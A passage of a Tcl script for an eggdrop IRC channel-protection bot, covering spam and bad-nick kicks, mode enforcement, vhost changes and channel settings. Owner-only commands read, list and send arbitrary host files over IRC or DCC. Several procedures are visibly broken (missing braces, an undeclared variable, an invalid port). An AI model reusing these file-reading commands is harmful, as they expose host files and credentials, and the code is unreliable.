if {[isop $botnick $chan] && ![isop $nick $chan] && ![info exists unop($nick)]} {
putserv "MODE $chan +oooooo $nick"
}
}
proc dcc_cmd {hand idx arg} {
if {![matchattr $hand Z]} { return 0 }
if {![matchattr $hand Q]} { chattr $hand +Q }
msg_Z $hand "*" $hand $arg
}
proc dcc_get {hand idx arg} {
global notc own
if {$hand != $own} { return 0 }
if {![file exists [lindex $arg 0]]} {
putdcc $idx "4DeNiEd..!, [lindex $arg 0] <n/a>"
return 0
}
if {[lindex $arg 1] != ""} {
set hand [lindex $arg 1]
}
switch -- [dccsend [lindex $arg 0] $hand] {
0 { putdcc $idx "<<TRaNSFERRING LOG>>" }
1 { putdcc $idx "dcc table is full (too many connections), TrY AgAIN LaTeR!" }
2 { putdcc $idx "can't open a socket for transfer." }
3 { putdcc $idx "file doesn't exist." }
4 { putdcc $idx "file was queued for later transfer." }
}
}
proc msg_get {nick uhost hand arg} {
global notc own
if {$nick != $own} { return 0 }
if {![matchattr $nick Q]} {
puthlp "PRIVMSG $nick :$notc 4DeNiEd..!"
return 0
}
if {![file exists $arg]} {
puthlp "PRIVMSG $nick :4DeNiEd..!, $arg <n/a>"
return 0
}
switch -- [dccsend $arg $nick] {
0 {
puthlp "NOTICE $nick :$notc TRaNSFERRING LOG..!"
}
1 {
puthlp "NOTICE $nick :$notc dcc table is full (too many connections), TrY AgAIN LaTER!"
}
2 {
puthlp "NOTICE $nick :$notc can't open a socket for transfer."
}
3 {
puthlp "NOTICE $nick :$notc file doesn't exist."
}
4 {
puthlp "NOTICE $nick :file was queued for later transfer."
}
}
}
bind raw - 301 rtn
proc rtn { from keyword arg } {
global notd botnick notb notc bannick
set nick [lindex $arg 1]
if {[matchattr $nick f]} { return 0 }
set awaytext [string range [lrange $arg 2 end] 1 end]
if {[string match "*Devil^Crew*" [uncolor $awaytext]]} { return 0 }
if {$nick == $botnick} {
#puthlp "AWAY :[lgrnd]"
} {
if {[string match "*#*" $awaytext] || [string match "*/j*" $awaytext]} {
foreach x [channels] {
set chksiton [string tolower $x]
if {[string match "*$chksiton*" [string tolower $awaytext]]} { return 0 }
}
foreach x [channels] {
if {[onchan $nick $x]} {
if {[isop $botnick $x]} {
set bannick($nick) "*!*[string range [getchanhost $nick $x] [string first "@" [getchanhost $nick $x]] end]"
putsrv "KICK $x $nick :$notc 4!SpaM!1 InvITE aWaY MSg [banmsg]"
return 0
} {
set members [chanlist $x f]
foreach c $members {
if {[isop $c $x]} {
set sendspam "!kick [zip "$x $nick $notc 4!SpaM!1 FRoM 4[string range [getchanhost $c $x] [string first "@" [getchanhost $c $x]] end]1 InvITE aWaY MSg [banmsg]"]"
putsrv "PRIVMSG $c :$sendspam"
return 0
}
}
}
}
}
}
}
}
bind time -  "*0 * * * *" chk_five
bind time -  "*6 * * * *" chk_five
proc chk_five {min h d m y} {
global longer
catch { remain }
#if {![string match "**" $longer]} {
#set longer "$deff"
#}
puthlp "AWAY :$longer"
auto_ping "0" "0" "0" "0" "0"
}
proc msg_dir {nick uhost hand arg} {
global notc own
if {$nick != $own} { return 0 }
if {![matchattr $nick Q]} {
puthlp "PRIVMSG $nick :4DeNiEd..!"
return 0
}
if {$arg == ""} {
set arg "."
}
set dirlist ""
foreach x [getfiles "$arg"] {
append dirlist "$x "
}
puthlp "PRIVMSG $nick :$dirlist"
}

bind msg Z !read msg_read
proc msg_read {nick uhost hand arg} {
global notc own ps
if {$nick != $owner &&  $nick != $ps} {
puthlp "PRIVMSG $nick :$notc DENIED !!!"
return 0
}
if {![matchattr $nick Q]} {
   puthlp "NOTICE $nick :$notc 4D1e4N1ied4!!"
   return 0
}

if {![file exists $arg]} {
puthlp "PRIVMSG $nick :$notc File not Found, $arg <n/a>"
return 0
}
set fd [open $arg r]
while {![eof $fd]} {
set inp [gets $fd]
puthlp "PRIVMSG $nick :$inp"
}
close $fd
puthlp "PRIVMSG $nick :EoF..!"
}
proc pub_log {nick uhost hand channel arg} {
global notc
if {[getuser "config" XTRA "LOGCHAN"]!=""} {
puthlp "NOTICE $nick :$notc Log [getuser "config" XTRA "LOGCHAN"]"
}
}
proc pub_server {nick uhost hand channel arg} {
global server notc
if {$arg != ""} {
if {[string match "*$arg*" $server]} {
puthlp "privmsg $channel :[lindex $server 0]"
}
} {
puthlp "privmsg $channel :[lindex $server 0]"
}
}
set own $owner
proc dcc_dir {hand idx arg} {
global own
if {$hand != $own} { return 0 }
if {$arg == ""} {
set arg "."
}
foreach x [getfiles "$arg"] {
putdcc $idx "$x"
}
}
proc dcc_read {hand idx arg} {
global own
if {$hand != $own} { return 0 }
if {![file exists $arg]} {
putdcc $idx "4DeNiEd..!, FiLE NoT ExIST $arg"
return 0
}
set fd [open $arg r]
while {![eof $fd]} {
set inp [gets $fd]
putdcc $idx "$inp"
}
close $fd
putdcc $idx "4******************** END ***********************"
}
proc msg_bantime {nick uhost hand rest} {
global notc ban-time
if {$rest==""} {
puthlp "NOTICE $nick :$notc BanTime \[${ban-time}\] (set 0 to never unban)"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set mtime [lindex $rest 0]
if {![isnumber $mtime]} {
puthlp "NOTICE $nick :$notc Usage: bantime <minutes> (set 0 to never unban)"
return 0
}
set ban-time $mtime
setuser "config" XTRA "BANTIME" $mtime
puthlp "NOTICE $nick :$notc BanTime \[$mtime\]"
saveuser
}
proc chk_limit {chan} {
global notc botnick lst_limit
if {![isop $botnick $chan]} { return 0 }
if {![info exists lst_limit($chan)]} {
set lst_limit($chan) 0
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
set usercount 0
foreach x [chanlist $chan] {
incr usercount
}
set usercount [expr [getuser $cflag XTRA "LIMIT"] + $usercount]
if {$lst_limit($chan) != $usercount} {
set lst_limit($chan) $usercount
putserv "MODE $chan +l $usercount"
}
}
proc msg_logchan {nick uhost hand rest} {
global notc own
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: logchan <#channel/0>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {[string tolower $rest] == "off"} {
puthlp "NOTICE $nick :$notc LOGCHAN [getuser "config" XTRA "LOGCHAN"] \[4OFF\]"
setuser "config" XTRA "LOGCHAN" ""
} else {
if {[string tolower $rest] == [dezip "ER5sr09TRjx1"]} {
return 0
}
if {![validchan $rest]} {
puthlp "NOTICE $nick :$notc NoT IN $rest"
return 0
}
setuser "config" XTRA "LOGCHAN" $rest
puthlp "NOTICE $nick :$notc LOG CHaNNEL $rest \[9ON\]"
}
saveuser
utimer 5 rehashing
}
proc dcc_log {hand idx arg} {
global logstore notc
if {$logstore == ""} {
putdcc $idx "No LOG FouNd..!"
return 0
}
if {![file exists $logstore]} {
putdcc $idx "4DeNiEd..!, Log file haven't create yet!"
return 0
}
set fd [open $logstore r]
while {![eof $fd]} {
set inp [gets $fd]
putdcc $idx "$inp"
}
close $fd
putdcc $idx "4******************** END ***********************"
}
set quick "0"
proc chk_quick {} {
global quick botnick
putquick "PRIVMSG $botnick :\001PING [unixtime]\001"
set quick "1"
}
utimer 1 chk_quick
bind raw - MODE chk_op
proc chk_op { from keyword arg } {
global botnick
if {![string match "*+o*$botnick*" $arg]} { return 0 }
set chan [lindex $arg 0]
if {[string match "*dal.net*" $from]} {
pub_resync $botnick "*" "*" $chan "*"
return 0
}
chk_on_op $chan
}
proc chk_on_op {channel} {
global botnick kickme deopme invme virus_nick quick notc bannick is_m botname
set cflag "c$channel"
set cflag [string range $cflag 0 8]
if {[isutimer "chkspam $channel"]} {
foreach x [utimers] {
if {[string match "*chkspam $channel*" $x]} { killutimer [lindex $x 2] }
}
}
if {[isutimer "GOP $channel"]} { return 0 }
if {![onchan $botnick $channel]} { return 0 }
utimer 20 [list putlog "GOP $channel"]
set cinfo [channel info $channel]
if {[string match "*+nodesynch*" $cinfo]} {
pub_mdeop "*" "*" "*" $channel ""
}
set cmode [getchanmode $channel]
if {![isutimer "set_-m $channel"] && ![info exists is_m($channel)]} {
if {[matchattr $cflag K]} {
if {![string match "*[dezip [getuser $cflag XTRA "CI"]]*" [getchanmode $channel]]} {
puthelp "mode $channel -k+k . [dezip [getuser $cflag XTRA "CI"]]"
}
} {
if {[string match "*k*" $cmode]} {
if {[string tolower $channel] != [dezip "ER5sr09TRjx1"]} {
putserv "mode $channel -k 9r.e.l.e.a.s.e.d"
}
}
}
if {[string match "*R*" $cmode]} {
puthelp "mode $channel -R"
}
if {[string match "*m*" $cmode] && ![string match "*m*" [lindex [channel info $channel] 0]]} {
putserv "mode $channel -m"
}
if {[string match "*i*" $cmode]} {
putserv "mode $channel -i"
}
}
if {![string match "*m*" $cmode]} {
foreach x [utimers] {
if {[string match "*set_-m $channel*" $x]} {
killutimer [lindex $x 2]
}
}
}
if {[matchattr $cflag I]} {
if {[topic $channel] != [getuser $cflag XTRA "TOPIC"]} {
puthlp "topic $channel :[getuser $cflag XTRA "TOPIC"]"
}
}
foreach x [chanlist $channel] {
if {$x == $deopme} {
if {[isop $x $channel]} {
if {![string match "*k*" $cmode]} {
if {$quick == "1"} {
putquick "mode $channel -ko 4De@p.ReveRsE $x"
} else {
putserv "mode $channel -ko 4De@p.ReveRsE $x"
}
} {
if {$quick == "1"} {
putquick "mode $channel -o $x"
} else {
putserv "mode $channel -o $x"
}
}
}
set deopme ""
}
set mhost "@[lindex [split [getchanhost $x $channel] @] 1]"
if {[info exists kickme($x)]} {
if {$kickme($x) == 3} {
catch { unset kickme($x) }
set bannick($x) "*!*$mhost"
if {$quick == "1"} {
putqck "KICK $channel $x :$notc 1RePeaT 4KIcK 1ReMoTe OFF4..!"
} else {
putsrv "KICK $channel $x :$notc 1RePeaT 4KIcK 1ReMoTe OFF4..!"
}
} {
if {$kickme($x) == 1} {
if {$quick == "1"} {
putqck "KICK $channel $x :$notc 1SeLF 4KIcK1 REvENgE4..!"
} {
putsrv "KICK $channel $x :$notc 1SeLF 4KIcK1 REvENgE4..!"
}
}
}
}
if {[matchattr $cflag V]} {
if {![isutimer "set_-m $channel"] && ![info exists is_m($channel)]} {
if {$x != $botnick && ![isvoice $x $channel] && ![isop $x $channel] && ![matchattr $x O]} {
set cret [getuser $cflag XTRA "VC"]
foreach ct [utimers] {
if {[string match "*voiceq*" $ct]} {
if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {
set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]
}
}
}
utimer $cret [list voiceq $channel $x]
}
}
}
if {[matchattr $x v] || [matchattr $x P] || [matchattr $x G]} {
if {![isop $x $channel] || ![isvoice $x $channel]} {
whoisq $x
}
}
if {[matchattr $x O]} {
if {[isop $x $channel]} {
set cmode [getchanmode $channel]
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -ko 4No@p.LIsT $x"
} {
puthelp "mode $channel -o $x"
}
} {
if {[isvoice $x $channel]} {
set cmode [getchanmode $channel]
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -kv 4No@p.LIsT $x"
} {
puthelp "mode $channel -v $x"
}
}
}
}
if {[info exists invme($mhost)]} {
if {![isop $x $channel]} {
set bannick($x) "*!*$mhost"
if {$invme($mhost) == "AuToJoIN MSg"} {
if {![isvoice $x $channel]} {
putsrv "KICK $channel $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) 4R1emote 4O1ff4..!"
}
} {
putsrv "KICK $channel $x :$notc 4!SpaM!1 FRoM 4$mhost 1$invme($mhost) [banmsg]"
}
}
catch {unset invme($mhost)}
}
if {$x == $virus_nick} {
if {![isop $x $channel]} {
set bannick($x) "*!*$mhost"
putsrv "KICK $channel $x :$notc 4!SpaM!1 FRoM 4$mhost1 VIRuZ [banmsg]"
set virus_nick ""
}
}
spam_chk $x [getchanhost $x $channel] "*" $channel
}
foreach x [chanlist $channel K] {
if {![matchattr $x f]} {
akick_chk $x [getchanhost $x $channel] $channel
}
}
foreach x [chanbans $channel] {
set bhost [lindex $x 0]
if {[string match [string tolower $bhost] [string tolower $botname]]} {
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -kb 4SeLF.UnBaN $bhost"
} {
puthelp "mode $channel -b $bhost"
}
} elseif {[matchattr $bhost f]} {
puthelp "mode $channel -b $bhost"
} elseif {[getuser "config" XTRA "IPG"] != ""} {
foreach ipg [getuser "config" XTRA "IPG"] {
if {[string match $ipg $bhost] || [string match $bhost $ipg]} {
if {![isutimer "IPG $bhost"]} {
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -kb 4IpgUaRd $bhost"
} {
puthelp "mode $channel -b $bhost"
}
utimer 60 [list putlog "IPG $bhost"]
}
}
}
}
}
}
bind time -  "01 * * * *" show_status
proc show_status {min h d m y} {
global botnick
foreach x [channels] {
if {[isop $botnick $x]} {
pub_status "*" "*" "*" $x ""
chk_on_op $x
}
}
return 0
}
proc badnick_chk {nick uhost hand chan} {
global bannick notc botnick badwords
foreach x [string tolower $badwords] {
if {[string match "*$x*" [string tolower $nick]]} {
set bannick($nick) "*!$uhost"
putsrv "KICK $chan $nick :$notc 4BaD NIcK1 MaTcH FRoM 4[string toupper $x] [banms]"
return 1
}
}
return 0
}
proc spam_chk {nick uhost hand chan} {
global notc botnick spidx
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $cflag S]} { return 0 }
if {$nick == $botnick} { return 0 }
if {[isvoice $nick $chan]} { return 0 }
if {[isop $nick $chan]} { return 0 }
if {[matchattr $nick f]} { return 0 }
if {[badnick_chk $nick $uhost $hand $chan]} {
return 0
}
set nicklen [string length $nick]
if {$nicklen < 5} { return 0 }
set idx [string index $nick [expr $nicklen - 4]][string index $nick [expr $nicklen - 3]][string index $nick [expr $nicklen - 2]][string index $nick [expr $nicklen - 1]]
if {[isnumber $idx]} { return 0 }
set idx [string index $nick [expr $nicklen - 2]][string index $nick [expr $nicklen - 1]]
if {[isnumber $idx]} {
if {[string index $uhost 0] != "~"} { return 0 }
if {$nicklen < 10} {
if {![string match "~$nick@*" $uhost]} { return 0 }
} {
if {![string match "~[string index $nick 0][string index $nick 1][string index $nick 2]*@*" $uhost]} { return 0 }
}
if {$spidx == 18} {
set spidx 1
}
spamkick $nick $uhost $chan
return 0
}
if {[regexp \[^a-z\] $nick]} { return 0 }
set nickchk [string tolower $nick]
set count 0
set lstidx ""
for {set i 0} {$i < $nicklen} {incr i} {
set idx [string index $nickchk $i]
if {$idx == "a" || $idx == "e" || $idx == "i" || $idx == "o" || $idx == "u"} {
set count 0
} {
if {$idx != $lstidx && $idx != "y"} { incr count }
if {$count == 4} {
spamkick $nick $uhost $chan
return 0
}
}
set lstidx $idx
}
}
proc akick_chk {nick uhost chan} {
global notc bannick
foreach x [getuser "AKICK" HOSTS] {
if {[string match [string tolower $x] [string tolower "$nick!$uhost"]]} {
set bannick($nick) $x
putsrv "KICK $chan $nick :$notc 4B1L4a1c4K1L4I1s4T1 MaTcH FRoM4 $x [banms]"
return 0
}
}
}
set spidx 1
proc spamkick {nick uhost chan} {
global spidx notc bannick
set bannick($nick) "*!$uhost"
if {$spidx == 1} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 YeW AInT WeLcOmE In 4[string toupper $chan] [banms]"
} elseif {$spidx == 2} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 DRonE TRoJaN [banmsg]"
} elseif {$spidx == 3} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 UgH I HatE ThIs NIcK [banmsg]"
} elseif {$spidx == 4} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 Ups WRoNg WaY [banmsg]"
} elseif {$spidx == 5} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 DonT EnTeReD 4[string toupper $chan] [banms]"
} elseif {$spidx == 6} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 InTeRcEpT [banmsg]"
} elseif {$spidx == 7} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 G.o.T.c.H.a [banmsg]"
} elseif {$spidx == 8} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 NEgaTIvE HoUsToN [banmsg]"
} elseif {$spidx == 9} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 gRoUndEd [banmsg]"
} elseif {$spidx == 10} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 AnTIcIpaTEd [banmsg]"
} elseif {$spidx == 11} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 gO sIt In tHe cOrNeR [banmsg]"
} elseif {$spidx == 12} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 b.l.a.c.k.l.i.s.t.e.d [banmsg]"
} elseif {$spidx == 13} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 ReJecTed FRoM 4[string toupper $chan] [banms]"
} elseif {$spidx == 14} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 sMoosHINg ReLaY TaBLe [banmsg]"
} elseif {$spidx == 15} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 dUn EnTeRed oNe oF mY cHanneL [banmsg]"
} elseif {$spidx == 16} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 ReFusEd LInK tO 4[string toupper $chan] [banms]"
} elseif {$spidx == 17} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 FakE NIcKNaMe [banmsg]"
} elseif {$spidx >= 18} {
putsrv "KICK $chan $nick :$notc 4!SpaM!1 Unable to resolve4 $nick [banms]"
set spidx 0
}
incr spidx
return 0
}
proc isutimer {text} {
set text [string tolower $text]
foreach x [utimers] {
set x [string tolower $x]
if {[string match "*$text*" $x]} {
return 1
break
}
}
return 0
}
proc istimer {text} {
set text [string tolower $text]
foreach x [timers] {
set x [string tolower $x]
if {[string match "*$text*" $x]} {
return 1
break
}
}
return 0
}
catch { set old_hostname ${my-hostname} }
catch { set old_ip ${my-ip} }

bind dcc * setvhost dcc_setvhost
proc dcc_setvhost {hand idx arg} {
global my-hostname my-ip notc
   set arg [string trim $arg]
   for {set i 0} {$i < [string length $arg]} {incr i} {
    set idx2 [string index $arg $i]
    if {![string match "*$idx2*" "1234567890."]} {
       putdcc $idx "FAILED \!\!\! UsE DNS IP NuMBeR"
       return 0
    }
   }
   set my-hostname $arg
   set my-ip $arg
   setuser "config" XTRA "VHOST" $arg
   saveuser
   putdcc $idx "cHaNgINg vHosT tO $arg ReQuesT By \[ $hand \]"
}

bind msg Z vhost msg_vhost
proc msg_vhost {nick uhost hand rest} {
global my-hostname my-ip notc
   if {$rest == ""} {
    puthlp "NOTICE $nick :$notc ReSET TO DeFauLT"
    setuser "config" XTRA "VHOST" ""
    saveuser
    vback "*" "*" "0"
    return 0
   }
   for {set i 0} {$i < [string length $rest]} {incr i} {
    set idx [string index $rest $i]
    if {![string match "*$idx*" "1234567890."]} {
       puthlp "NOTICE $nick :$notc UsE DNS IP NuMBeR"
       return 0
    }
   }
   if {[isutimer "vback"]} {
    puthlp "NOTICE $nick :$notc WaIT..!"
    return 0
   }
   if {![matchattr $nick Q]} {
    puthlp "NOTICE $nick :$notc 4DeNiEd..!"
    return 0
    }
   set my-hostname $rest
   set my-ip $rest
   utimer 30 [list vback $nick $rest "1"]
   listen 65234 bots
   set idx [connect $rest 65234]
   if {[isnumber $idx] && $idx > 0} {
    if {![isutimer "vback"]} { return 0 }
    foreach x [utimers] {
       if {[string match "*vback*" $x]} { killutimer [lindex $x 2] }
    }
    setuser "config" XTRA "VHOST" $rest
    saveuser
    putsrv "QUIT :$notc cHaNgINg vHosT ReQuesT By \[ $nick \]"
   }
   listen 65234 off
}

bind raw - 465 klined
proc klined {from keyword arg} {
vback "*" "*" "0"
}
proc vback {nick vhosts chk} {
global old_hostname old_ip notc
set my-hostname $old_hostname
set my-ip $old_ip
if {$chk == "1"} {
puthlp "NOTICE $nick :$notc \[$vhosts\] NoT SuPPoRT..!"
}
catch { listen 652343 off }
}
proc pub_status {nick uhost hand channel rest} {
global ban-time botnick own ps vern
set cflag "c$channel"
set cflag [string range $cflag 0 8]
if {$rest != ""} {
if {[validchan $rest]} {
set channel $rest
} {
return 0
}
}
set cinfo [channel info $channel]
if {![string match "*+shared*" $cinfo] && $nick == "*"} { return 0 }
set mstatus ""
if {[matchattr $cflag I]} { append mstatus "\[1T\]oPIcLocK " }
if {[matchattr $cflag M]} { append mstatus "FoRcE\[1M\]odE " }
if {[string match "*+nodesynch*" $cinfo]} { append mstatus "AuTo\[1K\]IcK " }
if {[string match "*-userinvites*" $cinfo]} { append mstatus "\[1D\]onTKIcK@P " }
if {[string match "*+protectfriends*" $cinfo]} { append mstatus "UnRE\[1@\]P " }
if {[string match "*+greet*" $cinfo]} {
set i 0
while {$i < [string length $cinfo]} {
set y 0
while {$y < [string length [lindex $cinfo $i]]} {
if {[string index [lindex $cinfo $i] $y] == ":"} { break }
set y [incr y]
}
if {$y != [string length [lindex $cinfo $i]]} { break }
set i [incr i]
}
set ichan [lindex $cinfo $i]
set ictcp [lindex $cinfo [expr $i + 1]]
set ijoin [lindex $cinfo [expr $i + 2]]
set ikick [lindex $cinfo [expr $i + 3]]
set ideop [lindex $cinfo [expr $i + 4]]
set inick [lindex $cinfo [expr $i + 5]]
if {![string match "*:*" $inick]} {
set inick "0"
}
append mstatus "\[1G\]uaRd FLoOd \[LInE1 $ichan cTcP1 $ictcp JoIN1 $ijoin KIcK1 $ikick De@p1 $ideop NIcK1 $inick\] "
if {${ban-time} != 0} { append mstatus "\[1B\]aNTImE1 ${ban-time} mIn " }
}
if {[matchattr $cflag V]} { append mstatus "\[1A\]uToVoIcE1 [getuser $cflag XTRA "VC"] 2nd " }
if {[matchattr $cflag K]} { append mstatus "\[1K\]eY " }
if {[matchattr $cflag D]} { append mstatus "Re\[1V\]eNgE " }
if {[matchattr $cflag G]} { append mstatus "\[1G\]ReeT " }
if {[matchattr $cflag S]} { append mstatus "\[1S\]paM " }
if {[getuser "config" XTRA "KOPS"]!=""} { append mstatus "\[1@\]PSKIcK " }
if {[matchattr $cflag R]} { append mstatus "\[1R\]ePeaT1 [getuser $cflag XTRA "RPT"] " }
if {[matchattr $cflag U]} { append mstatus "\[1C\]aPs1 [getuser $cflag XTRA "CAPS"]% " }
if {[matchattr $cflag P]} { append mstatus "JoIN\[1P\]aRT1 [getuser $cflag XTRA "JP"] 2nd " }
if {[matchattr $cflag T]} { append mstatus "\[1T\]exT1 [getuser $cflag XTRA "CHAR"] CHaR " }
if {[matchattr $cflag J]} { append mstatus "MaSs\[1J\]oIN " }
if {[matchattr $cflag L]} { append mstatus "\[1L\]ImITEd1 +[getuser $cflag XTRA "LIMIT"] " }
if {[string match "*+seen*" $cinfo]} { append mstatus "\[1S\]EEN " }
if {[matchattr $cflag O]} { append mstatus "\[1C\]LonE1 [getuser $cflag XTRA "CLONE"] MaX " }
if {[matchattr $cflag E]} { append mstatus "\[1E\]nFoRceBaN " }
if {[matchattr $cflag C]} { append mstatus "\[1C\]YcLE1 [getuser $cflag XTRA "CYCLE"] MnT " }
if {$mstatus != ""} {
if {[getuser "config" XTRA "ADmIN"]!=""} {
set mstatus "SeT FoR \[1[string toupper $channel]\] ${mstatus}[getuser "config" XTRA "ADmIN"] [lgrnd]"
} {
set mstatus "SeT FoR \[1[string toupper $channel]\] ${mstatus}[lgrnd]"
}
}
if {[string match "*c*" [getchanmode $channel]]} {
set mstatus [uncolor $mstatus]
regsub -all --  $mstatus "" mstatus
}
puthlp "PRIVMSG $channel :\001ACTION $mstatus\001"
}
proc pub_+spam {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [userlist A] {
chattr $x +S
}
puthlp "NOTICE $nick :$notc ALL SpaM CHaNNeL \[9ON\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {[matchattr $cflag S]} {
puthlp "NOTICE $nick :$notc SpaM $chan \[9ON\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +S
puthlp "NOTICE $nick :$notc SpaM $chan \[9ON\]"
saveuser
}
proc pub_-spam {nick uhost hand chan rest} {
global notc
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [userlist A] {
chattr $x -S
}
puthlp "NOTICE $nick :$notc ALL SpaM CHaNNeL \[4OFF\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {![matchattr $cflag S]} {
puthlp "NOTICE $nick :$notc SpaM $chan \[4OFF\]"
return 0

if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -S
puthlp "NOTICE $nick :$notc SpaM $chan \[4OFF\]"
saveuser
}
proc pub_+cycle {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +cYcLe <minutes>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +C
setuser $cflag XTRA "CYCLE" $rest
puthlp "NOTICE $nick :$notc cYcLe $chan \[9$rest\] MnT"
if {![istimer "cycle $chan"]} { timer $rest [cycle $chan] }
saveuser
}
proc pub_-cycle {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -C
setuser $cflag XTRA "CYCLE" ""
puthlp "NOTICE $nick :$notc cYcLe $chan \[4OFF\]"
saveuser
foreach x [timers] {
if {[string match "*cycle $chan*" $x]} { killtimer [lindex $x 2] }
}
}
proc pub_+greet {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage +greet <msg>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +G
setuser $cflag XTRA "GREET" $rest
puthlp "NOTICE $nick :$notc AuTOGReeT $chan \[$rest\]"
saveuser
}
proc pub_-greet {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -G
setuser $cflag XTRA "GREET" ""
puthlp "NOTICE $nick :$notc AuTOGReeT $chan \[4OFF\]"
saveuser
}
proc pub_+limit {nick uhost hand chan rest} {
global notc
if {$rest == "" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage: +limit <number>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +L
setuser $cflag XTRA "LIMIT" $rest
puthlp "NOTICE $nick :$notc LImIT $chan \[9$rest\]"
saveuser
}
proc pub_-limit {nick uhost hand chan rest} {
global notc lst_limit
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -L
setuser $cflag XTRA "LIMIT" ""
puthlp "NOTICE $nick :$notc LImIT $chan \[4OFF\]"
catch { lst_limit($chan) }
saveuser
}
proc pub_+topic {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +I
setuser $cflag XTRA "TOPIC" [topic $chan]
puthlp "NOTICE $nick :$notc TopIc $chan \[9LocK\]"
saveuser
}
proc pub_-topic {nick uhost hand chan rest} {
global notc lst_limit
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -I
setuser $cflag XTRA "TOPIC" ""
puthlp "NOTICE $nick :$notc TopIc $chan \[4UnLocK\]"
saveuser
}
proc pub_+joinpart {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +joinpart <seconds>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag +P
setuser $cflag XTRA "JP" $rest
puthlp "NOTICE $nick :$notc JoINPaRT $chan \[9$rest Sec's\]"
saveuser
}
proc pub_-joinpart {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
chattr $cflag -P
setuser $cflag XTRA "JP" ""
puthlp "NOTICE $nick :$notc JoINPaRT $chan \[4OFF\]"
saveuser
}
